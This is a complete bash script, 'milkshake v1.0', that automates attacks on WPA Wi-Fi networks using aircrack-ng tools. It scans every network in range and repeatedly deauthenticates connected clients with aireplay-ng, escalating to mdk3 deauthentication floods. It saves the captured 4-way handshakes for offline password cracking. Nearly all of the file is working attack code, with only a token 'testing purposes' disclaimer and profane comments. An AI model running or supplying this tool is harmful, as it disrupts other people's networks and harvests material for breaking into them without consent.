#!/bin/bash
# I AM NOT RESPONSIBLE FOR HOW YOU USE THIS SCRIPT
# THIS IS FOR TESTING PURPOSES ONLY
# USING THIS SCRIPT WITHOUT PRIOR PERMISSION OF NETWORKS IS ILLEGAL

trap quit INT
# ignores spin termination
trap 'exit 0' TERM
trap debug_test 20

# disable canonical mode (echo keys off)
stty -echo -icanon time 0 min 0

# switch to working directory when starting in xterm
cd `dirname $0`

# create handshake directory
hsdir=handshakes
if [ ! -d $hsdir ] ; then
mkdir $hsdir
fi

# add networks here to ignore them
ignore_list[0]="BTFON"
ignore_list[1]="BTOpenzone*"
ignore_list[2]="The Cloud"
ignore_list[3]="<<<CLOAKED>>>"
ignore_list[4]="AOL2Network"

interface=wlan0
power_threshold="-87"
deauth_sleep="23"
hsresult=0
tmp_pid=""
tmp_pid_spin=""
tmp_pid_relay=""
debug_mode=0

bpoint="  [*] "
bpoint1="  [!] "

BOLD='\033[1m'
DIM='\033[2m'
txtblk='\e[0;30m'  # Black - Regular
txtred='\e[0;31m'  # Red
txtgrn='\e[0;32m'  # Green
txtylw='\e[0;33m'  # Yellow
txtblu='\e[0;34m'  # Blue
txtpur='\e[0;35m'  # Purple
txtcyn='\e[0;36m'  # Cyan
txtwht='\e[0;37m'  # White
bldblk='\e[1;30m'  # Black - Bold
bldgry='\e[30;1m'  # Grey
blddgr='\e[31;30m' # Dark Grey
bldred='\e[1;31m'  # Red
bldgrn='\e[1;32m'  # Green
bldylw='\e[1;33m'  # Yellow
bldblu='\e[1;34m'  # Blue
bldpur='\e[1;35m'  # Purple
bldcyn='\e[1;36m'  # Cyan
bldwht='\e[1;37m'  # White
unkblk='\e[4;30m'  # Black - Underline
undred='\e[4;31m'  # Red
undgrn='\e[4;32m'  # Green
undylw='\e[4;33m'  # Yellow
undblu='\e[4;34m'  # Blue
undpur='\e[4;35m'  # Purple
undcyn='\e[4;36m'  # Cyan
undwht='\e[4;37m'  # White
bakblk='\e[40m'    # Black - Background
bakred='\e[41m'    # Red
badgrn='\e[42m'    # Green
bakylw='\e[43m'    # Yellow
bakblu='\e[44m'    # Blue
bakpur='\e[45m'    # Purple
bakcyn='\e[46m'    # Cyan
bakwht='\e[47m'    # White
txtrst='\e[0m'     # Text Reset
clrline='\e[0K'    # Clear Line

color_cycle=("$bldylw" "$bldred" "$bldgrn" "$bldblu" "$txtwht" )
color_cycle1=("$txtblu" "$txtcyn" )
all_textfx=("$BOLD" "$txtrst" "$txtblu" "$txtcyn" "$bldylw" "$bldred" "$bldgrn" "$bldblu" "$txtwht")

# known drivers
drivers=("acx100" "acx111" "acx100usb" "at76_usb" "at76c503a" "ath5k" "ath9k" "at76c503a" "at76" "bcm43" "ipw2100" "ipw2200" "ipw2915" "ipw3945" "iwl3945" "iwlagn" "iwlwifi" "madwifi" "mdk3" "p54" "r8187" "rt2500" "rt2570" "rt2800usb" "rt61" "rt73" "rtl8187" "rtl8187b" "zd1201" "zd1211rw")

#%%%%%%%%%%%%% Function Declarations %%%%%%%%%%%%%

function debug_test {
# yes yes i know
hsresult=1
}

function spinner {

#turn off cursor
local delay=0.09
local spinstr='|/-\'

while :
do
        local temp=${spinstr#?}
        printf "  [%c]" "$spinstr"
        local spinstr=$temp${spinstr%"$temp"}
        sleep $delay
        printf "\b\b\b\b\b"
done
}

function quit {
spin_kill
echo -e $txtrst $txtblu
prntx "Preparing to quit...\n" 1 1 2

prntx "Cleaning up..\n" 1 1 1
if [ -e "wiffy.dump-01.kismet.netxml" ] ; then
prntx "removed netxml files...\n" 1 1 1
rm wiffy.dump-01.kismet.netxml
fi

local cap_files=$(ls *.cap 2> /dev/null | wc -l)
if [ "$cap_files" != "0" ] ; then
prntx "removed cap files...\n" 1 1 1
rm *.cap
fi

if [ -e "duh" ] ; then
prntx "removed duh...\n" 1 1 1
rm duh
fi

stop_monitor_mode
prntx "Goodbye...\n" 1 1 1
echo -ne $txtrst
tput sgr0
stty sane
sleep 1
exit
}

function prntx {
echo -ne $txtblu
# arguments are: "string" '1/0=rnd case on/off' 1/0=rnd color on/off' 1/0=bullet point on/off'
local endch=0
local calc
local arg=$1
local rnd=$2
local rndc=$3
local bp=$4
local num1
local num2
local a
# bullet points
if [[ $bp -eq "1" ]] ; then
echo -n "$bpoint"
echo -ne "\t"
fi
if [[ $bp -eq "2" ]] ; then
echo -n "$bpoint1"
echo -ne "\t"
fi

# main text loop
for (( i=0; i < ${#arg}; i+=1 )) ; do
   # are we a control character
   if [[ "${arg:$i:1}" = "\\" ]] ; then

    # if we are a return to start of line
    if [[ ${arg:$(expr $i + 1):1} = "r" ]] ; then
    echo -ne "${arg:$i:3}"
    let i=i+3
    fi

    # if we are a return or tab
    if [[ ${arg:$(expr $i + 1):1} = "n" ]] || [[ ${arg:$(expr $i + 1):1} = "t" ]]; then
    echo -ne "${arg:$i:2}"
    let i=i+2
    fi

    # if we are a color
    for (( a=0; a < ${#all_textfx[@]}; a+=1 )) ; do
    calc="`echo "${arg:$i}" | cut -d "m" -f 1`m"
    endch=`echo ${#calc}`
    if [[ "$calc" = "${all_textfx[a]}" ]] ; then
    echo -ne "$calc"
    let i=i+$endch-1
    fi
    done

   else
   num1=$RANDOM
   let "num1 %= 2"
   num2=$RANDOM
   let "num2 %= ${#color_cycle1[@]}"
   if [[ $rndc -eq "1" ]] ; then
   echo -ne "${color_cycle1[$num2]}"
   fi
    # have random text case
    if [[ $rnd -eq "1" ]] ; then
        if [ $num1 -eq 1 ] ; then
        echo -ne "${arg:$i:1}" | tr "a-z" "A-Z"
        sleep 0.01
        else
        echo -ne "${arg:$i:1}" | tr "A-Z" "a-z"
        fi
    else
    # dont have random text case
    echo -ne "${arg:$i:1}"
    fi
   fi
done
}

function rprntx {
local endch=0
local calc
local arg=$1
local rnd=$2
local rndc=$3
local num1
local num2
for (( i=0; i < ${#arg}; i+=1 )) ; do
# are we a control character
   if [[ "${arg:$i:1}" = "\\" ]] ; then
    # if we are a return or tab
    if [[ ${arg:$(expr $i + 1):1} = "n" ]] || [[ ${arg:$(expr $i + 1):1} = "t" ]]; then
    echo -ne "${arg:$i:2}"
    let i=i+2
    else
    # if we are a color
    calc="`echo "${arg:$i}" | cut -d "m" -f 1`m"
    endch=`echo ${#calc}`
    echo -ne "$calc"
    let i=i+$endch-1
    fi
   else
   num1=$RANDOM
   let "num1 %= 2"
   num2=$RANDOM
   let "num2 %= ${#color_cycle[@]}"
   if [[ $rndc -eq "1" ]] ; then
   echo -ne "${color_cycle[$num2]}"
   fi
    if [[ $rnd -eq "1" ]] ; then
    # have random text case
        if [ $num1 -eq 1 ] ; then
        echo -ne "${arg:$i:1}" | tr "a-z" "A-Z"
        sleep 0.001
        else
        echo -ne "${arg:$i:1}" | tr "A-Z" "a-z"
        fi
    else
    # dont have random text case
    echo -ne "${arg:$i:1}"
    fi
   fi
echo -ne "$txtrst"
done
}

function banner {
clear
rprntx "-------------------------------------------------------\n" 1 1
prntx ""$BOLD""$bldred"                [ [ milkshake v1.0 ] ] "$txtrst"\n" 1 0
rprntx "-------------------------------------------------------\n" 1 1
echo
}

function check_connection {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering check_connection function...\n"
prntx "Checking if you are already connected to any router\n" 1 1 1  
connect_check=`ifconfig "$interface" | grep 'inet addr'`
if [ -z "$connect_check" ] ; then
prntx "You're not... good.\n" 1 1 1
else
prntx "You are, disconnecting....\n" 1 1 1  
route del default gw -n 0.0.0.0 &>/dev/null
ifconfig $interface down
sleep 1s
ifconfig $interface up
fi
}

function start_monitor_mode {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering start_monitor_mode function...\n"
mon_iface=`airmon-ng start $interface | grep -o 'enabled on mon..' | cut -d ')' -f 1 | cut -d ' ' -f 3`
prntx "I think the monitor interface is $mon_iface\n" 1 1 1

airmon-ng check kill &>/dev/null
}

function stop_monitor_mode {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering stop_monitor_mode function...\n"
prntx "Stopping all monitor interfaces...\n" 1 1 1
mon_iface=`airmon-ng | grep -o mon..`

for i in $mon_iface; do
airmon-ng stop $i &>/dev/null
done

prntx "Done...\n" 1 1 1
}

function scan_array {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering scan_array function...\n"
local noi

# put nets into an array

if [ ! -f wiffy.dump-01.kismet.netxml ] ; then

   xterm    -geometry 95x300+0+0 -name "EViL_scan" \
     -T "rent this space for your advertisement" \
    -e "airodump-ng --write wiffy.dump --output-format netxml $mon_iface " &
   tmp_pid=$!
   echo -ne "$clrline"    
   prntx "\t Using channel hopping mode, please wait...\\r" 1 1 0
   wmctrl -a D13
   sleep 30 &
   delay_check $!
   air_kill
   echo
   
else
   prntx "cheating... please delete the wiffy cap file if you dont want this...\n" 1 1 2
fi

# put the entire netxml file into a variable to split up
full_list=`cat wiffy.dump-01.kismet.netxml`
rm wiffy.dump-01.kismet.netxml

# count how many networks we have
net_count=`echo "$full_list" | grep -c "network number"`
if [ $net_count = 0 ] ; then
prntx "cant find any networks out there, trying again...\n" 1 1 2
enumerate_nets
else
prntx "about $net_count networks out there right now\n" 1 1 1
fi

# count from 0 so -1 the netxml file
net_count=$(expr $net_count - 1)

for noi in $(seq 0 $net_count)
do
# count for network number
  i=$(expr $noi + 1)
  ii=$(expr $i + 1)

current_list=`echo "$full_list" | sed -n "/network number=\""$i"\"/,/network number=\""$ii"\"/p"`

   # check if net is WPA, if it is, assign mac address, essid and ch to array
   cloaked[noi]=`echo "$current_list" | sed '/<wireless-client number=/,/<\/wireless-client>/d' | grep "<essid cloaked" | tr -d '\t' | cut -d "\"" -f 2`

   if [[ ${cloaked[noi]} = "false" ]] ; then
   essid[noi]=`echo "$current_list" | grep "<essid cloaked" | tr -d '\t\n' | sed 's/^<.*>\([^<].*\)<.*>$/\1/'`
   else
   essid[noi]="<<<CLOAKED>>>"
   fi

  nettype[noi]=`echo "$current_list" | grep  "network number=."$i"\"" | tr -d '\t' | cut -d "\"" -f 4 `
  cipher[noi]=`echo "$current_list" | grep  -A 6 "network number=."$i"\"" | grep "encryption" | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/' `
  net[noi]=`echo "$current_list" | grep "BSSID"| tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/'`
  channel[noi]=`echo "$current_list" | grep -A 11 -E "network number=."$i"\"" | grep "channel" | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/'`
  power[noi]=`echo "$current_list" | sed '/<wireless-client number=/,/<\/wireless-client>/d' | grep -A 9 -E "snr-info" | grep "last_signal_rssi" | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/' `
  tries[noi]=0
  client_mac[noi]=`echo "$current_list" | grep -A 1 "wireless-client number" | grep "client-mac"  | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/' | tr '\n' '|'`

done
}

function client_table {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering client_table function...\n"
echo -e "NUMBER\t|AP\t\t|   CLIENT(S)_MAC" | column -s "|" -t
for i in $( seq 0 $net_count ) ; do
  echo -e "$i\t|${net[i]}|${client_mac[i]}" | column -s "|" -t
done

}

function delete_array {

      unset essid
      unset cloaked
      unset nettype
      unset cipher
      unset net
      unset channel
      unset power
      unset tries
      unset client_mac
}

function delete_i_array {

      unset essid[i]
      unset cloaked[i]
      unset nettype[i]
      unset cipher[i]
      unset net[i]
      unset channel[i]
      unset power[i]
      unset tries[i]
      unset client_mac[i]
}

function renew_array {

      essid=( "${essid[@]}" )
      cloaked=( "${cloaked[@]}" )
      nettype=( "${nettype[@]}" )
      cipher=( "${cipher[@]}" )
      net=( "${net[@]}" )
      channel=( "${channel[@]}" )
      power=( "${power[@]}" )
      tries=( "${tries[@]}" )
      client_mac=( "${client_mac[@]}" )
}

function filter_array {

local counter=$( expr "${#ignore_list[@]}" - 1 )
local x

# remove any wep nets or nets in ignore list
for i in $(seq 0 $net_count)
do
enc=`echo "${cipher[i]}" | cut -d " " -f1`

  if [[ ${power[i]} -lt $power_threshold ]] ; then
    delete_i_array
  fi

  if [[ $enc = "WEP" ]] || [[ $enc = "OPN" ]] ; then
    delete_i_array
  fi

  for x in $( seq 0 $counter ) ; do
        if [[ ${essid[i]} = ${ignore_list[x]} ]] ; then
    delete_i_array
        fi
  done
done

renew_array
net_count=$( expr "${#net[@]}" - 1 )
}

function filter_cap_db {
local x
local db_count=0

local counter=$( expr "${#cap_net[@]}" - 1 )

for i in $(seq 0 $net_count) ; do
   for x in $(seq 0 $counter) ; do
      if [ "${net[i]}" = "${cap_net[x]}" ] ; then
        delete_i_array
    let db_count=db_count+1
      fi
   done
done

if [ $db_count -gt 0 ] ; then
prntx "$db_count of them are already in the database...\n" 1 1 2
fi

renew_array
net_count=$( expr "${#net[@]}" - 1 )
}

function enumerate_nets() {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering enumerate_nets function...\n"

delete_array
scan_array
filter_array
filter_cap_db
prntx "${#net[@]} of them are left after filtering and using a power threshold of $power_threshold\n" 1 1 1
print_nets
}  

function print_nets {

for i in $(seq 0 $net_count)
do
prntx "$(expr $i + 1): ${essid[i]} (${net[i]})\n" 0 1 2
done
}

function debug_print_nets {

echo -e "NUMBER\t|MAC \t\t|\tNETTYPE\t|\tCIPHER\t|CH\t|POWER\t|CLOAKED|TRIES|ESSID" | column -s "|" -t -c 8
for i in $(seq 0 $net_count)
do
echo -e "  [-]\t $i\t|${net[i]}|${nettype[i]}\t|`echo "${cipher[i]}" | cut -d " " -f1`\t|${channel[i]}\t|${power[i]}\t| ${cloaked[i]}|  ${tries[i]}\t|${essid[i]}" | column -s "|" -t -c 8
done
}

function multi_attack_clients {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering multi attack function...\n"

# look for already established clients
for ((atk=0; atk <=net_count; atk++ ))
do
   if [ ${client_mac[atk]} ] ; then
    prntx "trying preliminary established clients...\n" 1 1 1
   fi

   if [ ${client_mac[atk]} ] ; then
    [ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: multi:$atk hs:$hsresult\n"
    num_of_clients=`echo "${client_mac[atk]}" | grep -o "|" | grep -c "|"`
        prntx "found $num_of_clients client(s) for " 1 1 1
    prntx "${essid[atk]}\n" 0 1 0
       for cl in $( seq 1 "$num_of_clients" ) ; do
       attack_clients[cl]=`echo ${client_mac[atk]} | cut -d "|" -f "$cl"`
       done
    deauth_client
    [ $hsresult -eq 1 ] && atk=$( expr $atk - 1 )
   fi
done
}

function single_attack_clients {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering single attack function...\n"

prntx "finished checking clients from channel hopping scan\n" 1 1 1
prntx "trying to discover more clients in single channel mode...\n" 1 1 1

# look for new clients loop
for ((atk=0; atk <= net_count; atk++))
do
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: single:$atk hs:$hsresult\n"

bssid=${net[atk]}
chan=${channel[atk]}
echo -ne ""$clrline" "$txtrst""    
prntx "\t searching for a connected client on " 1 1 0
prntx "${essid[atk]} " 0 1 0
prntx "CH:${channel[atk]} POWER:${power[atk]}\\r" 1 1 0

   xterm        -geometry 95x25+0+0 -name "EViL_scan" \
         -T "rent this space for your advertisement" \
    -e "wmctrl -a D13 ; airodump-ng --bssid $bssid --channel $chan --write wiffy.dump --output-format netxml $mon_iface" &

tmp_pid=$!
sleep 20 &
delay_check $!
[ $hsresult -eq 1 ] && atk=$( expr $atk - 1 )
[ $debug_mode -eq 1 ] && echo -ne "\n"$txtrst"  {!}\tDEBUG: single:$atk hs:$hsresult\n"

# put the netxml file into a variable to split up
if [ -e wiffy.dump-01.kismet.netxml ] ; then
current_list=`cat wiffy.dump-01.kismet.netxml`
rm wiffy.dump-01.kismet.netxml
fi

found=`echo "$current_list" | grep client`
air_kill
echo -ne ""$txtrst""$txtblu"\n"    

   if [ -n "$found" ] ; then
    # reset clients
    unset attack_clients

    # how many clients found
    new_client=`echo "$found" | grep -A 1 "wireless-client number" | grep "client-mac"  | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/' | tr '\n' '|'`
    num_of_clients=`echo "${client_mac[atk]}" | grep -o "|" | grep -c "|"`
    num_of_new_clients=`echo "$new_client" | grep -o "|" | grep -c "|"`
    prntx "$num_of_new_clients client(s) found, checking if we found them before...\n" 1 1 2

    # do we already have the client
    for cli in $( seq 1 "$num_of_new_clients" ) ; do
        new_client[cli]=`echo $new_client | cut -d "|" -f "$cli"`
        greptest=`echo ${client_mac[atk]} | grep -c "${new_client[cli]}"`

    # if not, add to db
           if [ $greptest = 1 ] ; then
           prntx "client is already in database, moving on...\n" 1 1 1
           else
            prntx "no, adding " 1 1 1
            prntx "${new_client[cli]}" 0 1 0
            prntx " to db\n" 1 1 0
            client_mac[atk]="${client_mac[atk]}""${new_client[cli]}"\|
            num_of_clients=`echo "${client_mac[atk]}" | grep -o "|" | grep -c "|"`
                attack_clients[cli]=`echo ${client_mac[atk]} | cut -d "|" -f "$cli"`
           fi
    done

    if [[ ${#attack_clients[@]} -gt "0" ]] ; then
    deauth_client
    [ $hsresult -eq 1 ] && atk=$( expr $atk - 1 )
    fi
   fi
done
}

function delay_check {
local pid
pid=$1
spinner &
tmp_pid_spin=$!
keypress=''

    while [ ! "$keypress" = "q" ] ; do
    read keypress

    if [[ `ps a | awk '{print $1}' | grep -w $pid` -eq 0 ]] ; then
    break
    fi

    hsresult=`check_success`

        if [[ "$hsresult" = "1" ]] ; then
        spin_kill
    air_kill
    replay_kill
        found_handshake
        break
        fi
    done

replay_kill
spin_kill
}

function deauth_client {
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: entering deauth client\n"

bssid=${net[atk]}
chan=${channel[atk]}
client=${client_mac[atk]}
ac=$num_of_clients
tmp_cap_file="${essid[atk]}"_deauth
reset_tries=0

   xterm        -geometry 95x25+0+0 -name "EViL_scan" \
         -T "rent this space for your advertisement" \
    -e "wmctrl -a D13 ; airodump-ng --bssid $bssid --channel $chan --write '`echo "$tmp_cap_file" | sed 's/ /\\ /'`' --output-format pcap $mon_iface ; sleep 10 " &

tmp_pid=$!

until [[ "$hsresult" = "1" ]] || [[ "${tries[atk]}" -gt "4" ]] ; do
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: deauth:$atk hs:$hsresult\n"

for foo in $(seq 1 $ac)
do

if [[ "${tries[atk]}" = "0" ]] ; then
    prntx "\t ${tries[atk]}: gently deauthing client " 1 1 0
    prntx "${attack_clients[foo]}" 0 1 0
    prntx " on " 1 1 0
    prntx "${essid[atk]}\\r" 0 1 0
    xterm -geometry 95x25+0+400 -name "deauthing..." -T "trying a nicey nice deauth..." \
    -e "wmctrl -a D13; sleep 2; aireplay-ng -0 1 -a "$bssid" -c "${attack_clients[foo]}" "$mon_iface"" &
    tmp_pid_replay=$!
    sleep $deauth_sleep &
    delay_check $!
    [ $hsresult -eq 1 ] && break
fi

if [[ "${tries[atk]}" = "1" ]] || [[ "${tries[atk]}" = "2" ]] ; then
    echo -ne $clrline
    prntx "\t ${tries[atk]}: not so nicely deauthing client " 1 1 0
    prntx "${attack_clients[foo]}" 0 1 0
    prntx " on " 1 1 0
    prntx "${essid[atk]}\\r" 0 1 0
    xterm -geometry 95x25+0+400 -name "deauthing..." -T "not so nice deauth..." \
    -e "wmctrl -a D13; sleep 2; aireplay-ng -0 20 -a "$bssid" -c "${attack_clients[foo]}" "$mon_iface" " &
    tmp_pid_replay=$!
    sleep $deauth_sleep &
    delay_check $!
    [ $hsresult -eq 1 ] && break
fi

if [[ "${tries[atk]}" = "3" ]] ; then
    echo "$bssid" > duh
    echo -ne $clrline
    prntx "\t ${tries[atk]}: ok, now im getting pissed about client " 1 1 0
    prntx "${attack_clients[foo]}" 0 1 0
    prntx " on " 1 1 0
    prntx "${essid[atk]}\\r" 0 1 0
    xterm -geometry 95x25+0+400 -name "deauthing..." -T "pissed deauth..." \
    -e "wmctrl -a D13; sleep 2; aireplay-ng -0 10 -a "$bssid" -c "${attack_clients[foo]}"\
     "$mon_iface" ; mdk3 "$mon_iface" d -c "$chan" -b duh -s 250 " &
    tmp_pid_replay=$!
    sleep $deauth_sleep &
    delay_check $!
    pmdk=`pgrep mdk` ; if [[ $pmdk -ne "" ]] ; then kill $pmdk ; fi
    rm duh
    [ $hsresult -eq 1 ] && break
fi

if [[ "${tries[atk]}" = "4" ]] ; then
    echo "$bssid" > duh
    echo -ne $clrline
    prntx "\t ${tries[atk]}: client " 1 1 0
    prntx "${attack_clients[foo]}" 0 1 0
    prntx " on " 1 1 0
    prntx "${essid[atk]}" 0 1 0
    prntx " is being a bitch\\r" 1 1 0
    xterm -geometry 95x25+0+400 -name "deauthing..." -T "right, FUCK YOU..." \
    -e "wmctrl -a D13; sleep 2; aireplay-ng -0 20 -a "$bssid" -c "${attack_clients[foo]}"\
     "$mon_iface" ; mdk3 "$mon_iface" m -c "$chan" -b duh -s 250" &
    tmp_pid_replay=$!
    sleep $deauth_sleep &
    delay_check $!
    # reset if at end of clients and tries=4
        if [[ $foo = $ac ]] ; then
        spin_kill
        prntx "\n"
        prntx "resetting tries for " 1 1 2
        prntx "${essid[atk]}" 0 1 0
        prntx ", perhaps its too far away?\n" 1 1 0
        reset_tries=1
        fi
    pmdk=`pgrep mdk` ; if [[ $pmdk -ne "" ]] ; then kill $pmdk ; fi
    rm duh
    [ $hsresult -eq 1 ] && break
fi

spin_kill
done
[ $debug_mode -eq 1 ] && echo -ne "\n"$txtrst"  {!}\tDEBUG: exited tries loop\n"
#[ $hsresult -eq 1 ] && break

tries[atk]=$( expr ${tries[atk]} + 1 )
done
[ $debug_mode -eq 1 ] && echo -ne ""$txtrst"  {!}\tDEBUG: exited until loop\n"

sleep 2
if [[ $reset_tries=1 ]]; then tries[atk]=0 ; fi
hsresult=0
air_kill
rm "$tmp_cap_file"-01.cap
}

function replay_kill {

if [ "$tmp_pid_replay" != "" ] ; then
quit_test=`ps -p "$tmp_pid_replay" | sed '1d' | awk '{print $1}'`
        if [ "$quit_test" != "" ] ; then
        (kill -2 $tmp_pid_replay)
        fi
fi
}

function air_kill {

if [ "$tmp_pid" != "" ] ; then
quit_test=`ps -p "$tmp_pid" | sed '1d' | awk '{print $1}'`
        if [ "$quit_test" != "" ] ; then
        (kill -2 $tmp_pid >/dev/null)
        fi
fi
}

function spin_kill {

if [ "$tmp_pid_spin" != "" ] ; then
quit_test=`ps -p "$tmp_pid_spin" | sed '1d' | awk '{print $1}'`
        if [ "$quit_test" != "" ] ; then
        (kill $tmp_pid_spin >/dev/null)
        fi
fi
}

function found_handshake {
[ $debug_mode -eq 1 ] && echo -ne "\n"$txtrst"  {!}\tDEBUG: entering found handshake function\n"
prntx "\n"
prntx "got a handshake from " 1 1 2
prntx "${essid[atk]}" 0 1 0
prntx " - saving to db\n" 1 1 0

strip_handshake
push_cap_db
}

function push_cap_db {

capst="${#cap_net[@]}"

      cap_essid[capst]=${essid[atk]}
      cap_cloaked[capst]=${cloaked[atk]}
      cap_nettype[capst]=${nettype[atk]}
      cap_cipher[capst]=${cipher[atk]}
      cap_net[capst]=${net[atk]}
      cap_channel[capst]=${channel[atk]}
      cap_client_mac[capst]=${client_mac[atk]}

#remove captured net from list

      unset essid[atk]
      unset cloaked[atk]
      unset nettype[atk]
      unset cipher[atk]
      unset net[atk]
      unset channel[atk]
      unset power[atk]
      unset tries[atk]
      unset client_mac[atk]

      essid=( "${essid[@]}" )
      cloaked=( "${cloaked[@]}" )
      nettype=( "${nettype[@]}" )
      cipher=( "${cipher[@]}" )
      net=( "${net[@]}" )
      channel=( "${channel[@]}" )
      power=( "${power[@]}" )
      tries=( "${tries[@]}" )
      client_mac=( "${client_mac[@]}" )

net_count=$(expr $net_count - 1)
}

function check_success {
# will only find 4 way handshakes
checky=$(tshark -r $tmp_cap_file-01.cap -R "eapol" 2>&1 | grep -c '(msg 4/4)')
if [ $checky -ge 1 ] ; then
echo 1
else
echo 0
fi
}

function strip_handshake {
local redirect_hack
NOW=$(date +"%b%d%y")
# stop stderr output by redirecting
# copy packets with editcap to avoid incomplete packets error
redirect_hack=$(editcap $tmp_cap_file-01.cap tmpcapfile.cap 2>&1)
redirect_hack=$(tshark -q -r tmpcapfile.cap -R "eapol || wlan.fc.type_subtype == 0x08" -w $hsdir/$tmp_cap_file-$NOW.cap 2>&1)
rm tmpcapfile.cap
}

function setup {

echo -ne ""$txtrst""$txtblu""
prntx "POWER THRESHOLD:"$power_threshold"\n" 1 1 1
prntx "INTERFACE:"$interface"\n" 1 1 1
prntx "Setting up...\n" 1 1 1
local gdrv=`airmon-ng | grep $interface | cut -f 4 | cut -d " " -f1`
local drvnum="${#drivers[@]}"
local t
local drivermatch=0

# check drivers
for t in $(seq 0 $drvnum) ; do

    if [[ ${drivers[t]} = $gdrv ]] ; then
    prntx "Auto-detected $gdrv driver\n" 1 1 1
    drivermatch=1
    driver="${drivers[t]}"
    prntx "Resetting Driver...\n" 1 1 1
    if [[ `lsmod | grep -o -c "$driver"` -gt 0 ]] ; then rmmod $driver;fi
    modprobe $driver
    break
    fi
done
    if [ $drivermatch -ne 1 ] ; then prntx "can't find your driver, exiting...\n" 1 1 1; quit ;fi

# check if connected to a network
check_connection

# remove any mon interfaces already made
stop_monitor_mode
start_monitor_mode

prntx "Everything seems to be setup right...\n" 1 1 1
prntx "Attempting to capture WPA handshakes...\n" 1 1 1
prntx "HERE WE GO!\n" 1 1 1
sleep 1

}

#%%%%%%%%%%%%% Start of Script %%%%%%%%%%%%%
banner

# check dependencies
type -P tshark &>/dev/null || { prntx "tshark is not installed.\n" 1 1 1 >&2; quit; }
type -P wireshark &>/dev/null || { prntx "wireshark is not installed.\n" 1 1 1 >&2; quit; }
type -P wmctrl &>/dev/null || { prntx "wmctrl is not installed.\n" 1 1 1 >&2; quit; }

rprntx "  [!]\t WPA handsshake capture script...\n" 1 1 1  
rprntx "  [!]\t captures all 4 way EAPOL handshakes within range...\n" 1 1 1  
rprntx "  [!]\t ignores any incomplete handshakes...\n" 1 1 1  

setup

banner
echo -ne $txtblu
tput civis
prntx "press CTRL + C to exit and q to move to next scan\n" 1 1 1
#%%%%%%%%%%%%%% attack loop %%%%%%%%%%%%%%%%
while :
do
enumerate_nets
multi_attack_clients
single_attack_clients
done

